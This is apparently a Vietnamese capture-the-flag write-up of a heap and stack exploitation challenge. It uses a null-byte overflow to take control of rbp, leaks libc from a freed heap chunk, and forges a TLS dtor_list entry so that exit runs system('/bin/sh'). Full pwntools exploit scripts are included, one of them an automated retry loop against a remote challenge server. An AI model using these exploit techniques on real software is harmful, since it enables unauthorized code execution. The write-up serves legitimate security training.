ghi 1 dãy 0x100 bytes vào địa chỉ `rbp-0x14 == buf[252]` ``` python= pa = b"A"*0x100 pa = pa.ljust(0x100 ,b"\x00") #strcpy() se stop ghi khi ma trong mang co byte NULL, nhung van se ghi them byte NULL vo change_name(pa) show_cre() ``` ### Exploit ![image](https://hackmd.io/_uploads/S1lKb8pC2xx.png) - tại lúc này, mình đã overflow -> ghi đè cả rsp và rbp > - Lúc này mình nảy ra idea là liệu có thể ret2libc không? nên mình đã thử leak libc trước =))), khó chỗ nào thì cứ leak được đã hẹ hẹ hẹ =)))) - hmm vậy thì leak kiểu gì được =(((( ? ![image](https://hackmd.io/_uploads/BkWlPpChxg.png) - để ý có malloc heap ở đây. Vì malloc 1 chunk quá to vượt ngoài phạm vi của tcaches, khi free chunk này thì ta sẽ có được địa chỉ libc bên trong heap -> mà lại còn có `beauty_json()` giúp ta print cái địa chỉ heap này ra nữa -> maybe là sẽ leak theo cách này - mà nhìn vô ida bên trên thì ta thấy chương trình check liệu có `json data` không bằng cách check `[rbp-offset(json)]` => nếu mình thay đổi được rbp -> thay đổi được cái phần checking này. Mà mình có thể thay đổi rbp mà => HÚP - okay vậy thì giờ sao, mình sẽ tạo 2 chunk 1 chunk 0x700 và 1 chunk 0x20 để tránh cho chunk 0x700 bị consolidate. Bằng cách thay đổi qua lại giữa 2 địa chỉ rbp mình control được (chỉ control được 2 bytes thui : null + 1 bytes mình ghi). ``` python= def change_name(name): slan(b'> ', 1) sa(b'name: ', name) def change_json(size, data): slan(b'> ', 2) slan(b'size: ', size) sa(b'data: ', data) def show_cre(): slan(b'> ', 3)\ def demangle(mangled, key): return ((mangled >> 17) ^ key) sla(b"name: ", b"kvv") #case change name -> name[256]=\x00 -> show_credential -> sua key # input("WAIT") # change_name(b'A'*0x100) pa = b"A"*0x14 + b"\xd0" # duoi rbp = x00d0 pa = pa.ljust(0x100 ,b"\x00") #strcpy() se stop ghi khi ma trong mang co byte NULL, nhung van se ghi them byte NULL vo change_name(pa) show_cre() change_json(0x700, b"A"*0x700) # trong heap, neu chunk ke tiep chunk cbi free la top_chunk -> consolidate # neu chunk ke tiep no la 1 chunk binh thuong thi se ko bi consolidate pa1 = b"A"*0x14 + b"\x00" # duoi rbp = x0000 pa1 = pa1.ljust(0x100 ,b"\x00") change_name(pa1) show_cre() change_json(0x10, b"B"*0x10) pa = b"A"*0x14 + b"\xd0" # duoi rbp = x00d0 #back ve rbp cu de free(json_data) pa = pa.ljust(0x100 ,b"\x00") change_name(pa) show_cre() ``` ![image](https://hackmd.io/_uploads/SJWx-002lg.png) -> lúc này thì ta đã có chunk 0x700 ở đây, giờ chỉ cần free nữa thôi thì sẽ leak được libc ![image](https://hackmd.io/_uploads/Hkxtb0Rhll.png) -> started freeing() ![image](https://hackmd.io/_uploads/HySWMCA3lx.png) - auke zòi có libc, lúc này mình định ret2libc nhưng khi mình thử lại có chút trục trặc, hàm `strcpy` chỉ copy tới khi gặp `\x00` nên với những địa chỉ như `pop rdi` hay `system` thì mình sẽ không thể cho vô stack được vì đây là những địa chỉ dạng 6 bytes -> còn 2 bytes null nên nếu có fill thì cũng chỉ fill được tới pop rdi là hết nấc -> loại https://github.com/nobodyisnobody/docs/tree/main/code.execution.on.last.libc#5---code-execution-via-tls-storage-dtor_list-overwrite - Kĩ thuật giúp thực hiện shell khi gọi `exit` hoặc `return`. Tuy nhiên khi mình test thử trên bản libc 2.35 thì phát hiện struct của tác giả đã cũ, có sự sai lệch nhẹ, nhưng bài này là ghi chunk vào tls chứ không ghi thẳng vào tls như bài trên nên là anyways, ai mún lấy bản get_shell của struct libc 2.35 thì ib mình <3 - Sau đó mình nhận thấy rằng nếu đè được rbp -> ghi được *json_data vô đâu cũng được , có thể ghi vào `dtors list`. Ở `dtors list` sẽ có 1 biến là `dtor_list->func` - là 1 con trỏ tới 1 struct dtor_list khác và sẽ được check như sau: ``` `typedef void (*dtor_func) (void *); struct dtor_list { dtor_func func; void *obj; struct link_map *map; struct dtor_list *next; }; .... .... /* Call the destructors. This is called either when a thread returns from the initial function or when the process exits via the exit function. */ void __call_tls_dtors (void) { while (tls_dtor_list) // parse the dtor_list chained structures { struct dtor_list *cur = tls_dtor_list; // cur point to tls-storage dtor_list dtor_func func = cur->func; PTR_DEMANGLE (func); // demangle the function ptr tls_dtor_list = tls_dtor_list->next; // next dtor_list structure func (cur->obj); /* Ensure that the MAP dereference happens before l_tls_dtor_count decrement. That way, we protect this access from a potential DSO unload in _dl_close_worker, which happens when l_tls_dtor_count is 0. See CONCURRENCY NOTES for more detail. */ atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1); free (cur); } ``` ![image](https://hackmd.io/_uploads/rkmO7RR2eg.png) - Trong đó `dtor_list->func` sẽ là cái mình call tới, còn `dtor_list->obj` chính là rdi của hàm sẽ call. Cài này trong git tác giả cũng đã nói ![image](https://hackmd.io/_uploads/S1oTVCAhge.png) - Những lưu ý nhẹ ở đây là cái phần key aka `ptr_mangle cookie` sẽ có cơ chế magle như sau: `address_moi = (address_cu << 17)^key`. Thì ctrinh mới đọc =( . Bước 1 ta sẽ ghi đè key = 0 , thì ta chỉ cần <<17 thui là xong òi. - Ghi đè sao zờ ... ![image](https://hackmd.io/_uploads/rJe9LRCnge.png) - vì mình change được rbp -> mình sẽ cho rbp-offset_size tới thẳng key lun -> nếu yêu cầu nhập vô thì mình nhâp 0 -> change mạnh luôngggg ![image](https://hackmd.io/_uploads/SJH9PC0hll.png) - target của mình start từ `dtor_list->func` nhé ![image](https://hackmd.io/_uploads/rysYd0C3le.png) -> key đã bằng 0 -> giờ chỉ cần tạo struct ghi vào target thui ![image](https://hackmd.io/_uploads/HJ2u9C02eg.png) ```py= target = libc.address - 0x2918 print('tls target: ' + hex(target)) # key -> null key = target + 0x88 pa = b"A"*0x14 + p64(key+0x18) pa = pa.ljust(0x100 ,b"\x00") change_name(pa) show_cre() #change rbp slan(b'> ', 2) slan(b'size: ', 0) pa = b"A"*0x14 + p64(target+0x8) pa = pa.ljust(0x100 ,b"\x00") change_name(pa) show_cre() #change rbp slan(b'> ', 2) slan(b'size: ', 0x20) system = system<<17 pa = p64(system) + p64(next(libc.search(b'/bin/sh'))) + p64(0)*2 sa(b'data: ', pa) ``` -> giờ chỉ cần gọi exit thoi ![image](https://hackmd.io/_uploads/rJ5pcC03xe.png) DONE LOCALLY - CÒN REMOTE ... em cho script tự động ![image](https://hackmd.io/_uploads/SJrf7kyTgx.png) ### FULL SCRIPT - SCRIPT GỐC ``` python= #!/usr/bin/python3 from pwn import * import time import signal import sys context.binary = exe = ELF('./main_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) ld = ELF('./ld-linux-x86-64.so.2', checksec=False) info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) slan = lambda msg, num: sla(msg, str(num).encode()) san = lambda msg, num: sa(msg, str(num).encode()) sln = lambda num: sl(str(num).encode()) sn = lambda num: s(str(num).encode()) r = lambda nbytes: p.recv(nbytes) ru = lambda data: p.recvuntil(data) rl = lambda : p.recvline() def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b *0x0000000000401737 b *0x00000000004018E6 b *0x0000000000401925 b *0x00000000004017B0 b *0x0000000000401859 b *0x00000000004018D8 b *0x0000000000401737 c ''') def exploit(): global p try: if args.REMOTE: p = remote("165.22.55.200", 40002) else: p = process(exe.path) # Disable GDB for auto mode if not args.AUTO: GDB() return run_exploit() except Exception as e: print(f"[-] Exploit failed: {e}") if p: p.close() return False def run_exploit(): def change_name(name): slan(b'> ', 1) sa(b'name: ', name) def change_json(size, data): slan(b'> ', 2) slan(b'size: ', size) sa(b'data: ', data) def show_cre(): slan(b'> ', 3) def demangle(mangled, key): return ((mangled >> 17) ^ key) sla(b"name: ", b"kvv") #case change name -> name[256]=\x00 -> show_credential -> sua key # input("WAIT") # change_name(b'A'*0x100) pa = b"A"*0x14 + b"\xd0" pa = pa.ljust(0x100 ,b"\x00") #strcpy() se stop ghi khi ma trong mang co byte NULL, nhung van se ghi them byte NULL vo change_name(pa) show_cre() change_json(0x700, b"A"*0x700) # trong heap, neu chunk ke tiep chunk cbi free la top_chunk -> consolidate # neu chunk ke tiep no la 1 chunk binh thuong thi se ko bi consolidate pa1 = b"A"*0x14 + b"\x00" pa1 = pa1.ljust(0x100 ,b"\x00") change_name(pa1) show_cre() change_json(0x10, b"B"*0x10) pa = b"A"*0x14 + b"\xd0" pa = pa.ljust(0x100 ,b"\x00") change_name(pa) show_cre() # input("WAIT") # control rbp, rsp # 0x00000000004016b2 : mov eax, dword ptr [rbp - 4] ; leave ; ret #0x7ffc8ec89fa8 slan(b'> ', 2) slan(b'size: ', 0) r(0x17) libc_leak = u64(r(6).ljust(8, b'\x00')) libc.address = libc_leak - 0x21b190 info(f"libc leak: {hex(libc_leak)}") info(f"libc base: {hex(libc.address)}") one_gadget = libc.address + 0x10a38c # bin = next(libc.search(b'/bin/sh\x00')) system = 0x50d70 + libc.address pop_rdi = 0x000000000002a3e5 + libc.address # ko one gadget vi p64(libc_adress) thi se co byte null =(((( # pa1 = b"A"*0x14 + p64(0x4141414141414141) + p64(pop_rdi) + p64(bin) + p64(system) # pa1 = pa1.ljust(0x100 ,b"\x00") # change_name(pa1) # show_cre() # input("WAIT") target = libc.address - 0x2918 print('tls target: ' + hex(target)) # key -> null key = target + 0x88 pa = b"A"*0x14 + p64(key+0x18) pa = pa.ljust(0x100 ,b"\x00") change_name(pa) show_cre() #change rbp # sleep(1) slan(b'> ', 2) slan(b'size: ', 0) pa = b"A"*0x14 + p64(target+0x8) pa = pa.ljust(0x100 ,b"\x00") change_name(pa) show_cre() #change rbp # sleep(1) slan(b'> ', 2) slan(b'size: ', 0x20) system = system<<17 pa = p64(system) + p64(next(libc.search(b'/bin/sh'))) + p64(0)*2 sa(b'data: ', pa) slan(b'> ', 4) p.interactive() ``` - SCRIPT TỰ ĐỘNG ``` python= #!/usr/bin/python3 from pwn import * import time import sys context.binary = exe = ELF('./main_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) ld = ELF('./ld-linux-x86-64.so.2', checksec=False) def exploit(): try: if args.REMOTE: p = remote("165.22.55.200", 40002) else: p = process(exe.path) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) slan = lambda msg, num: sla(msg, str(num).encode()) r = lambda nbytes: p.recv(nbytes) def change_name(name): slan(b'> ', 1) sa(b'name: ', name) def change_json(size, data): slan(b'> ', 2) slan(b'size: ', size) sa(b'data: ', data) def show_cre(): slan(b'> ', 3) # Main exploit sla(b"name: ", b"kvv") pa = b"A"*0x14 + b"\xd0" pa = pa.ljust(0x100 ,b"\x00") change_name(pa) show_cre() change_json(0x700, b"A"*0x700) pa1 = b"A"*0x14 + b"\x00" pa1 = pa1.ljust(0x100 ,b"\x00") change_name(pa1) show_cre() change_json(0x10, b"B"*0x10) pa = b"A"*0x14 + b"\xd0" pa = pa.ljust(0x100 ,b"\x00") change_name(pa) show_cre() slan(b'> ', 2) slan(b'size: ', 0) r(0x17) libc_leak = u64(r(6).ljust(8, b'\x00')) libc.address = libc_leak - 0x21b190 system = 0x50d70 + libc.address target = libc.address - 0x2918 key = target + 0x88 pa = b"A"*0x14 + p64(key+0x18) pa = pa.ljust(0x100 ,b"\x00") change_name(pa) show_cre() slan(b'> ', 2) slan(b'size: ', 0) pa = b"A"*0x14 + p64(target+0x8) pa = pa.ljust(0x100 ,b"\x00") change_name(pa) show_cre() slan(b'> ', 2) slan(b'size: ', 0x20) system = system<<17 pa = p64(system) + p64(next(libc.search(b'/bin/sh'))) + p64(0)*2 sa(b'data: ', pa) slan(b'> ', 4) # Simple shell test - just try to run a command time.sleep(0.5) p.sendline(b'id') try: result = p.recvuntil(b'uid=', timeout=2) if b'uid=' in result: print(f"[+] SHELL CONFIRMED! Got uid output") return p except: pass # Alternative test p.sendline(b'whoami') try: result = p.recv(timeout=2) if len(result) > 0 and b'>' not in result: # Got some output that's not menu print(f"[+] SHELL CONFIRMED! Got command output: {result}") return p except: pass print(f"[-] Shell test failed") p.close() return None except Exception as e: print(f"[-] Exploit failed: {e}") try: p.close() except: pass return None def main(): attempt = 1 max_attempts = 500 print(f"[*] Auto exploit mode - will try up to {max_attempts} times") while attempt <= max_attempts: print(f"\n[{attempt:3d}/{max_attempts}] Trying exploit...") shell = exploit() if shell: print(f"\n🎉 SUCCESS after {attempt} attempts!") print(f"[+] Dropping to interactive shell...") shell.interactive() break else: if attempt % 10 == 0: print(f"[*] {attempt} attempts completed, still trying...") attempt += 1 time.sleep(0.1) # Short delay if attempt > max_attempts: print(f"\n[-] Failed after {max_attempts} attempts") print(f"[-] Server environment might be too unstable") if __name__ == "__main__": if len(sys.argv) > 1 and sys.argv[1] == "local": args.REMOTE = False else: args.REMOTE = True main() ```